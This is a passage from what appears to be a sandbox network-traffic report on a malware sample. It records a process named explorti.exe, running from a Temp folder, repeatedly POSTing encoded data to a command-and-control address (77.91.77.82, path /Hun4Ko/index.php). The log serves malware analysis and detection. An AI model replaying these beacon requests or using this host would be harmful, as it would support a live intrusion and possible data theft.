Jul 4, 2024 00:00:10.503103018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49787	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:10.623398066 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:11.316747904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:11.318363905 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:11.535394907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49788	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:11.654308081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:12.364047050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:12.366151094 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:12.591315031 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49789	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:12.700535059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:13.429399014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:13.430263996 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:13.659898996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49790	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:13.780684948 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:14.500685930 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:14.501521111 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:14.721684933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49791	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:14.842407942 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:15.539320946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:15.544287920 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:15.758867025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49792	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:15.872400045 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:16.624800920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:16.626358032 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:16.851551056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49793	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:16.970643997 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:17.698126078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:17.698936939 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:17.918261051 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49794	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:18.028778076 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:18.744509935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:18.745270967 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:18.968132019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49795	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:19.076786995 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:19.787564993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:19.788461924 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:20.019428015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49796	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:20.139903069 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:20.838840008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 4, 2024 00:00:20.841734886 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:21.058979988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49797	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:21.170412064 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:21.879792929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49798	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:21.892796993 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:22.616210938 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49799	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:22.734822989 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:23.430891037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49800	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:23.440145969 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 4, 2024 00:00:24.172101974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49801	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 4, 2024 00:00:24.300559044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 4, 2024 00:00:25.010111094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 22:00:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49802	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

